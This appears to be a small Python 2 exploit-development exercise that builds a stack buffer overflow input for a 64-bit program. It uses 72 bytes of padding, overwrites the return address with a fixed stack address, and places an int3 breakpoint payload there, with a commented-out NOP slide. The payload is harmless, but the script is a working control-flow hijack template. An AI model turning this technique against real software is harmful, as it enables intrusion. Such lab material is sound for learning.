import struct

# This is for a 64 bit architecture

# 64 bytes for the character string plus 8 bytes for the LEAVE (or ENTER) instruction
# this should take us to the RETURN instruction
padding = "\x01"*72

# Point the EIP at the stack
eip = struct.pack("Q", 0x7fffffffde00)

# Trip the code into a CPU debugger (also known as int3),
# prevents a segmentation fault from halting the application
payload = "\xCC"*8

# NOP slide
# payload = "\x90"*100+"\xCC"

print padding + eip + payload